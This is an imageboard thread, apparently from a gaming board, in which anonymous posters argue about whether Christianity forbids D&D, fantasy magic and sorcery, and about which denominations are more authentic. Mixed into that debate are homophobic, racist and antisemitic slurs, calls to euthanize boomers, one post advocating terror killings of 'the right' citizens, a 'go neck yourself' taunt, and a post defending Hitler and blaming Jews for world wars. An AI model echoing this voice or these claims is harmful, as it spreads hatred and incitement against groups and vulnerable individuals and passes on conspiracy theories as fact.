>implying there's even going to be a next generation when no one wants to make babies because the women are worthless feminist hags

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 No.386703

>>386505

>Themselves.

Yeah, self-harm is way worse

THAN RUINING ENTIRE COUNTRY AND IRREPERABLY FUCKING UP BIRTHRATES WITH ENTITLEMENT-BASED PYRAMID SCHEME

All boomers should be fucking euthanized so at least they stop draining money from future generations with (((Social Security)))

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 No.386713

>>386505

>>386686

>>386703

I keep feelig like the best way to solve these issues is with some terror and show of force. Killing your own citizens shouldn't be a problem if some citizens aren't really people to consider. All you need is enough bloodshed to scare the rest if the populace into behaving. You just have to make sure to kill the right people.

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 No.386720

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>>386713

>I keep feelig like the best way to solve these issues is with some edge and show of edginess.

That's nice, dear.

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 No.386722

>>386686

Only faggots and life long virgins don't have children. If you are a real man that has sex with women, then sooner or later you will run into one that you can have children with.

Also not all women are worthless feminist hags, that is predominantly a feature of women in the cities.

These women are not like the girls in mangas, but they aren't also the total corrupt evil you pussies make them out to be.

>>386703

>Yeah, self-harm is way worse...

It is, if its done on a collective scale. Boomers at least tried to have children and families, you losers have propably not even tried it.

Everything is somebody others fault, just don't take over any responsibility or else you could make a mistake and then you would have nobody other to blame than yourself.

Just like a fucking feminist you complain that all the people that have been mean and bad to you should be killed, yet you don't even have the balls to do that.

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 No.387201

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 No.387205

>>386722

Gee, trying to risk getting hit with rape charges and having your life ruined sure sounds fun.

Go neck yourself, you roastie cunt.

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 No.395401

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>>386501

Lewis' theology works are great. They were just what my educated/skeptical self who liked the morality and tradition aspects of Christianity needed to push himself over the brink to actually being Christian.

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 No.395656

Far as I know, accusations of hidden Satanism peaked in the 80s. Christian Churches will still have loose talk about the promotion of degeneracy (faggots, trannies, drug use, promiscuity, abortion, suicide, etc.) as evidence of a satanic hand in the music and movie industries. Yet they can never name who's responsible. If you point out the producers, director, lead actor and script writer of a movie mocking jesus are all jewish, they will quickly defend Israel.

The cognitive dissonance is amazing.

Some Christians have a very simple, stupid understanding of the Bible which goes

1. God commands against sorcery

2. Fictional character practices magic.

3. Reading story of fictional character, or playing game casting spells, amounts to renouncing Jesus and casting your soul into everlasting hellfire.

Preachers just want you to pay for their non-Biblical self-help classes instead of having fun elseways. That's right: there is no verse in the Bible saying, "ye verily, ye shall meet every Sunday to hear a man read to you a few verses from this book, go over recent news like a late night comedian, and give a self improvement speech. Ye shall also sing a song of worship unto me at this gathering and donate to the church's funds so it may keep the in-house starbucks while supplied".

What's actually IN THE BIBLE are verses detailing

A. Jesus making a whip to beat the ass of kike moneychangers so they would get the fuck out of the temple.

B. Paul saying, "I could take lodgings at followers houses for free, but to set a good example I will help them work their fields while I visit so other spreaders of the word understand they're not to be layabouts leeching off the fucking community" and

C. Peter telling a Sorceror who tries to purchase the Holy Spirit there's no forgiveness for blasheming against the Holy Spirit. Now Pastors believe they should be paid by Christians to evangelize....

But I digress. Medieval folklore conflated faeries, spirits, and pagan magic with Catholic Priests. One story for example has a girl fall into a Bog, beneath which the Bog King wants to make her his bride. A Priest knows about this from an angel-delivered message, and comes along the bog to summon her back out by chanting his prayers, which were miraculously answered.

Is the name, "jesus" the whole of distinction between such recitation and a spell?

Much of what we refer to as, "magic" is illiterate peasants understanding of Monks. Grimoire just means grammar. Spell as in spelling words. The peasant sees the learned man open his giant book and suddenly he knows how to do things. It seems like anything you could want is in them books. He just opens it up and things happen...like magic.

So in short, the idea that reading Harry Potter amounts to reading that Kike lavey's satanic bible was a wrongful praying upon the fears of christian housewives. It may well be an attempt of Christian booksellers to monopolize their core demographic. "You can only buy a Christian cd...right here in 2nd Mathuselans Jesus says, 'I will buy not so much as a Corn Dog from a vendor who does not accept me as his Lord and Savior', ".

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 No.395667

>>395401

Is there a word for someone who is fond of or appreciative of Christian images and themes, as well as various saints, but doesn't actually care about the worship of Christ? Is that just basic idolatry?

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 No.395715

>>395667

Larper

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 No.395726

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>>395715

Could you explain further? Doesn't that term only make sense with neopagans, since they're trying to take part in a dead religious system that was abandoned centuries ago? LARPing implies an active engagement with something that goes beyond mere appreciation.

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 No.395733

>>395726

Not him, but what do you not understand about "pretending in real life"?

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 No.395740

>>395733

Because it doesn't make sense in the context of what I asked. I wasn't talking about someone who's pretending to be christian, I was talking about someone who likes the christian aesthetic

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 No.395754

>>395740

Then no, there aren't words for people who like things

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 No.395792

>>395656

I would first of all ask you to stop associating American protestards with Christians in general.

With that being said, I would add to the last part of your post that, there really is severe misuderstanding of what magic, as it is meant and forbidden in Christianity is. While someone in antiquity would call a stick summoning thunder and killing someone in a distance "magical artifact", nowadays it's called a rifle. Magic as it is meant by Christianity is simple: it's establishing communication and gaining boons, information and so on from demons or the dead (necromancy). Nowadays most would call every supernatural action magical, forgetting that apostles exorcised demons, resurrected dead people, or that Moses had staff that would do supernatural things, skull of Elisha reviving the dead and so on. Neither of those things were sorcery, because these were not due to having counion with demons or the deceased.

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 No.397284

>>323620

As a Christian who thinks God isn’t a stickler, I think it does suck that you had people go after what is essentially a homage to relgion and mythology as well Medieval culture. I don’t know how badly current D&D has been infected with SJWism other then having a lot of black artwork in the books and having rules about gender identity. My session seem to be just fine.

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 No.397389

>>332028

> bleeding heart SJW faggot who panders to the weak and the unworthy

Dude, that's Chaotic Evil

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 No.397404

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>>370144

>derived from the same tree as christian sentiments.

Please, thou art sh'tting me. The gestalt of liberal theological opinions that developed in the late 19th and early 20th are heresies! -- It's what led to all this SJW nonsense in the Church! -- It's the homo-globo agenda!

w2.vatican.va/content/pius-x/en/encyclicals/documents/hf_p-x_enc_19070908_pascendi-dominici-gregis.html

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 No.405313

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>>385780

>consider kid's lifestyle to be unhealthy for practical, secular reasons that both you and your kid can easily comprehend

>you could either sit down and discuss your concerns like a civilized adult that respects his son

>or you could jump on the hysteria bandwagon, start screeching about how a game you know absolutely nothing about is plotting against your religion, vandalize his property, and insult him, just so some retard 20-30 years later can rightfully compare you to medieval zogbots that not only failed to stop Islam, but also killed more europeans than muslims

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 No.405316

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>>323566

>little witch academia / hurry purdur are hipersexualised

Get thee behind me

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 No.405324

>>405313

>medieval zogbots that not only failed to stop Islam, but also killed more europeans than muslims

You mean odinists?

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 No.405335

File: e201beb37af53e1⋯.gif (871.88 KB,500x281,500:281,laughing_elves.gif)

>>405313

>varg

>full head of hair

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 No.405339

Oh shit, this thread is still alive?

Might as well give my two cents. If I haven't already, though didn't find any post of mine

We Catholics tend to make a difference between really summoning the dead or trying to use magic and roleplaying games or MtG.

Like >>322634 already pointed out these kinds of games are mostly very wholesome promoting creativity, group play and oddly enough social interaction with others while keeping you away from degeneracy like normie parties and drugs.

Most people that have a problem with these kind of things are protestants, and as far as I know only American ones too.

I don't know anybody who would oppose these games except a couple of evangelicals (a sect which originated in America).

The only thing that's getting really borderline is MtG with their recent influx of pozz in lots of cards.

Once they openly start giving money to such businesses like Planned Parenthood or an alphabet-supporting group I'd be morally obliged not to give any cent to them anymore.

Lucky for me there's an immense secondary market and lots of people are doing it already, so I'd be still able to play the game.

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 No.405341

>>405339

>Lucky for me there's an immense secondary market and lots of people are doing it already, so I'd be still able to play the game.

The secondary market encourages the primary market in a way so I believe that's kind of a invalid point, isn't it?

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 No.405346

>>405341

The secondary market offers me products by which WotC doesn't get any money.

Although it needs cards from the primary market, it doesn't necessarily cause sales in it.

But you're right in a way.

I guess it's more if the set is out of print that you can be sure not to financially help WotC anymore.

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 No.405348

>>405339

It's not a denomination thing, the bible does explicitly state sorcery as a sin and you're simulating the act of sinning in a game or media that has sorcery.

Yes, tolkien, but if you notice, none of the spells in LOTR come from innate magical powers and instead are caused by Eru Iluvatar, who's practically god.

Even Gandalf isn't a wizard in the sense that he sits on an ivory tower and discovers powers innate to all humans, he's an angelic being and a messenger of God himself.

That's the major difference between christianity and eastern religions, even bishop Fulton J. Sheen talks about this when he says that christians don't believe a man can "pull himself up by his own bootstraps".

All powers come from god, and if you discover in you the innate power to shoot lighting, it's the devil tricking you. A game where there's no singular monotheist deity and that encourages you to study occultism to learn the act of shooting lightling is unequivocally against christian teachings.

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 No.405402

>It's not a denomination thing, the bible does explicitly state sorcery as a sin and you're simulating the act of sinning in a game or media that has sorcery.

The same could be said about killing and stealing but most Christians don't have a problem with media that depicts it.

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 No.405544

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>>322420

I had a kid who played dnd from my church. His parents heard and banned him from playing it. Next time we played WHFRP, and almost died to a ton of dark elf raiders, good times.

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 No.405563

>>405348

>The same could be said about killing and stealing but most Christians don't have a problem with media that depicts it.

Its in the historic detail.

The Bible in hebrew calls magic that falls under maleficium(spells that harm and enslave humans) a sin, it dosn't outlaw magia naturalis(aka. natural wonders of the world that help people).

Majority of cultures that became Christians understood that, because that was also the way secular law worked in antiquity.

This understanding than was lost during the religious fanatism of the Reformation and the later Age of Enlightment, both seeking to reeducate the public.

Christians throughout history did a lot of things that in other religions and philosophies are seen as magic, they just called them wonders of the world created by god.

And instead of researching the "occult", christian scholars tried to become better by learing to understand all of "creation".

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 No.405564

>>405563

Very interesting. Mind if I screencap your post? Sage since I'm not active in this thread

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 No.405601

>>405348

Gandalf did have an innate power, because he was an angelic being.

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 No.405695

>>405564

Please post the screencap here.

I want to save it too

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 No.405719

File: da5f68a0a89ff5e⋯.png (18.63 KB,1157x165,1157:165,Magic is not heresy.png)

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 No.414679

>>370144

>Before that it was a mostly unobserved truth that kings were ruling by divine right

Yeah, except it wasnt. Why do people automatically assume that some part of the Catholic world represents all Christianity? In Byzantium institutions were sacralized rather than inbred individuals with super-special surname that originated with Merovingian Frankish retards.

And even in Catholic world Republics like Venice and Florence existed. Oldest continuous Republic, San Marino, started out as a Monastic Republic on Mount Titano.

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 No.414684

>>405348

>All powers come from god, and if you discover in you the innate power to shoot lighting, it's the devil tricking you

"No"

Magic in traditional sense was gaining information from the demons and the dead mostly about future events, or hidden secrets and such. Not shooting lightning and such autism. In fact, the only people who ride fiery chariots and implied to have the ability to glass entire settlements are prophets and apostles. Pretty much what demons can do is LARP, create illusions or torment some poor guy who got possessed (except for Book of Job, but its not really clear on the details and if those disasters were caused directly or due to Tzeentchian shenanigans).

Plus considering that humans are made in Image and Likeness of God and are literally called gods in the Bible (Psalm 81(82):6 and John 10:34) there's no reason to NOT to have such "innate ability" in the first place.

Also this >>405563

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 No.414685

>>414684

also

>All powers come from god, and if you discover in you the innate power to shoot lighting, it's the devil tricking you

you played yourself here. reread the sentence again.

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 No.414686

File: c305fc102fe9d65⋯.png (Spoiler Image,1.59 MB,1076x2656,269:664,polcuck.png)

>>323446

>degeneracy is okay as long as we do it

fuck off, degeneracy is degeneracy regardless of who does it /pol/cuck

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 No.414727

>>414686

Watching porn to begin with makes you a cuck/traitor to begin with.

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 No.414728

>>323566

>fictional drawings r reel people too.

retarded or UN official?

>>414727

Wasting time or money on anything jewish builds the talmudic enslavement of your children.

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 No.414762

>>414727

>>414728

Posting on imageboards when you should be fathering 20 white children and creating double that in dead foreigners? Bunch of cuck traitors.

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 No.414923

>>414686

>/pol/ is one person

>/pol/ is crossposting larper

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 No.414929

>>414923

Don't encourage the leftypol faggots

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 No.414971

>>414762

Trying too hard leftypol.

>>414923

>>414929

Anybody yakking about Niggers being attractive is from the leftypol/intl/reddit scene.

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 No.415018

File: 5883cac3bd0f06d⋯.jpg (48.04 KB,552x389,552:389,06eda197ffe7639c9852715bc1….jpg)

>>322419

>>322419

Three years ago, my boomercuck dad told me that he was afraid of me and my sister bringing dnd dice into the house because, and I shit you not, "the lady at the game store was probably a witch and put a curse on them." Blew my mind that a grown adult with greying hair could be both so paranoid and out of touch with reality.

I'd also like to state for the record that Orthodox (Eastern) Christianity does not subscribe to the absolute nonsense that Western Christianity does, and is clearly Superior to both christcucks and larpagans. I even got my priest to play a game of Pathfinder once. He played a dwarf wizard. Good times.

Pic semi related

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 No.415021

>>415018

> Eastern Orthodox

The only people who are Orthodox are people who want to LARP as sixth century romano-greeks or literal Russians. There's a reason Eastern Christianity remains in the east and the lions share of missionary and global evangelist work in the 18th-20th centuries were all carried out by Protestants. When you marry your faith to your culture you are only able to spread your faith as far as you can spread your culture. Americans will never be Orthodox because our cultural disposition is incompatible with it's religious expression. We only ever started being Catholic when literally 3/4ths of Ireland and 1/5 of Italy decided they were going to colonize us and bring their romish popery with them.

If you actually are greek or russian though, carry on.

> Blew my mind that a grown adult with greying hair could be both so paranoid and out of touch with reality.

Sorcery is real anon, and unless you learn to guard against it you will fall prey to it.

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 No.415024

File: 805db3cf7a27473⋯.jpg (98.57 KB,467x700,467:700,4db499b2db02d47d3c3b47a068….jpg)

>>415021

>Americans will never be Orthodox because our cultural disposition is incompatible with it's religious expression

>Americans

>culture

The only thing nature abhors more than niggers is a vacuum.

>The girl working at the gaming store is communing with Satan

Curb your boomerism my dude

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 No.415041

File: 815b41ec6ee0eeb⋯.png (256.58 KB,379x492,379:492,disgusting.png)

>>415018

>is christian

>still uses christcuk

Right.

>three years ago

>pathfinder

>boomermaymays

Why do these threads always attract such underage cancer?

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 No.415058

File: 978e50d9e20daec⋯.jpg (119.82 KB,883x751,883:751,978.jpg)

>>415018

>Christcuck

>>415021

>Protestant calling someone a LARPer

>Without even knowing about either Orthodoxy or specifically Orthodoxy in America

Fuck off immediately

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 No.415059

File: 2e6d9302dc5b8cf⋯.jpg (15.07 KB,242x248,121:124,7c62a1f8e09576841725624708….jpg)

>christfags get treated like any other anon

>they get fucking nuclear about it

Lmao'ing @ ur afterlife

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 No.415079

>>415021

>Calls others LARPers

<You got to guard yourself against the sorcery of some random store employee for real though!

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 No.415081

>>386372

Tbf they didnt know what the deal was. Evefything back then was propaganda. Telling them back then that Hitler is not our enemy would be like today telling people that Israel did 9/11.

They only had newspapers which were browbeateb and paid by the state if not outright owned by jews.

Their foolish misguided "heroism" to defeat Hitler was the result of decades of behind the scenes orchestrating to get the West to take itself out. Ww1 became a good opportunity for it to come to fruition and it almost did take us out. But then Hitler rose and the NWO summoned all of its might to strike back against him snd unfortunately Americas longstanding isolationism and disdain for foreign goings on left us vulnerable to manipulation.

The Greatest Generation are not the Greatest.

They are the Fooled Generation or the Golem Generation.

Boomers are the fucking worst

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 No.415090

>>333253

I don't know where you got that, but Christian tradition actually just states his innocence and that the Sanhedrin was largely behind it

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 No.415221

>>415024

Jesus loves you

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 No.415229

File: f767b9edbf81394⋯.jpg (369.14 KB,831x1024,831:1024,4304192634_dcc7031fd0_b.jpg)

File: cd939835f02f714⋯.jpg (151.9 KB,1200x838,600:419,Morgan Weistling The Prair….jpg)

File: 7b6b51eaeaa624c⋯.jpg (287.72 KB,1280x854,640:427,pilg.jpg)

>>415024

> American Culture

There's more living culture growing here per square foot of American soil than can be found entombed in all of that crypt of nations called Europe.

>The girl working at the gaming store is communing with Satan

What of Satan? Men are wickeder yet of their own accord. Witchery and devilment come more naturally to us than to the spirits of the air who have power unto themselves and no regard for mortal oaths.

>>415058

What don't I know about Orthodoxy, tell me the full measure of all

I don't know.

>>415079

When the wagons are circled, you know a camp is inside. I'm convinced she's a witch now just because of the reaction the accusation has gotten.

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 No.415249

File: 060e8661ef5f8c2⋯.jpg (61.41 KB,960x520,24:13,adfadfa.jpg)

>itt: we pretend Protestantism actually has a theological doctrine behind it and it's not purely politically motivated.

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 No.415270

>>415229

...you do realize Supernatural didn't base its worldbuilding on accurate theology, right? Stop basing your opinions on it.

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 No.415271

>>415229

>There's more living culture growing here per square foot of American soil than can be found entombed in all of that crypt of nations called Europe.

pfffffffffffffffffffffffffffffffffffffffffffffft

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 No.415272

>>415271

Culture is american slang for body mass.

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 No.415278

File: ce655c3ddd50b73⋯.png (444.87 KB,614x523,614:523,4e23c1d16ee47a71199338ce7c….png)

Nice to see so many /christ/anons on one of my favorite boards.

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 No.415293

>>415249

> Globalist Popery

> KGB infiltrated Orthodox Autofellatios

> not politically motivated

You can't infiltrate what has no centralized administrative body. Corrupt the Lutherans all you want, the Baptists will remain, destroy the Presbyterians and Episcopals but the Methodists will go untouched. God has raised his Hydra and our heads are many.

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 No.415297

Why did the thread got bumplocked?

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 No.415299

>>415297

Because it's just shitposting and pointless arguing now.

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 No.415336

>>415293

So...Protestantism is Alpha Legion?

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 No.415358

>>322419

I usually troll edgy "heh I don't worship any gods" characters by refusing to heal them unless they submit(works better if there aren't any other healers), or saying "you might not believe in X but they still love you!" then utilize praise the sun gestures/T-bagging combo as the way my character heals.

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 No.415362

>>415293

>you cannot infiltrate what has no admin body

you can, just look at televangelists and mega churches. the material is prized well above the spiritual and if you can accomplish that then corruption is taking place.

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 No.415421

>>322419

The anti DnD people were the same ones that hated hard rock and metal

The big difference between them and the SJWs of today -> the religious anti DnD crowd didn't show up at game stores and tell people how to run their games

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 No.415539

>>415293

>KGB infiltrated Orthodox Churches

>you can't infiltrate what has no centralized administrative body

Are you retarded?

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 No.415560

>>415293

almost every protestant denomination preaches that Jesus was a gay communist who died for diversity and has homosexuals and women dominating the clergy

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 No.415590

YouTube embed. Click thumbnail to play.

>>415539

> Various Patriarchates, (though mostly Constantinople) having direct authority over international metropilities and archdiocese

> Lacking administrative hierarchy

Are you? Not every nations orthodox churches are autocephalous and an intricate web of recognition and non-recognition of autonomy makes determining who is and is not a far from straightforward affair and even then autonomy and autocephaly are not the same thing and what influence a patriarchate might have over an archdiocese has to be looked at on a case by case basis. Even if I granted you that there are somewhere between 14-17, depending on whatever alleged autocephalic churches you did or did not count as per the above mentioned confusions, entirely independent patriarchates that did not answer to any other that's still 14-17 recognizable bodies that can be targeted. That's a hell of a lot better than Romes 1, but it's still not "I am spartacus"-tier.

>>415560

> almost every protestant denomination preaches that Jesus was a gay communist who died for diversity and has homosexuals and women dominating the clergy

No they don't. The oldest and most entrenched ones have gone that way but their numbers are collapsing and fast. Christians do not remain in those churches long, congregational churches are popping up all over the place and in the last ten years the Reformed tradition has exploded in influence across almost all sectors of Protestantism because while liberalism was able to spread in Episcopalianism/Anglicanism and Lutheranism it came only by way of completely abandoning the principles of the Reformation, particularly the doctrines of Grace and the recognition of the total supremacy of the scriptures over christian belief and practice. By abandoning the very things which defined Protestantism they doomed themselves. They had cultural momentum to carry them forward between the 60's and 90's but they're on their deathbed now and just like in 17th century England, when the establishment church went wayward separatist groups ascended to dominance and the Puritans seized the day to restore the truth of Christ's gospel to it's proper place.

Semper Reformanda, always reforming because Satan is always at work.

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 No.425831

File: 0c1df37c34fce6b⋯.gif (21.06 KB,449x238,449:238,darkdung19old.gif)

File: f4336fa1cead617⋯.gif (34.74 KB,468x240,39:20,chick_22.gif)

https://en.wikipedia.org/wiki/James_Dallas_Egbert_III

This kid running away from home led to the initial moral panic. The hack gumshoe hired by his parents opined out of turn that he could have had a psychotic attack and disappeared into the steam tunnels while LARPing.

The press reported it as fact, and started the panic.

Later a hack writer made a novel based on the utter garbage made up out of whole cloth by the tabloid press, and an ambulance-chasing psychiatrist quoted her fictional novel as a real story.

Then they made a shitty TV movie of the week out of the novel, and it's been a persistent urban legend ever since, among morons too stupid to Google..

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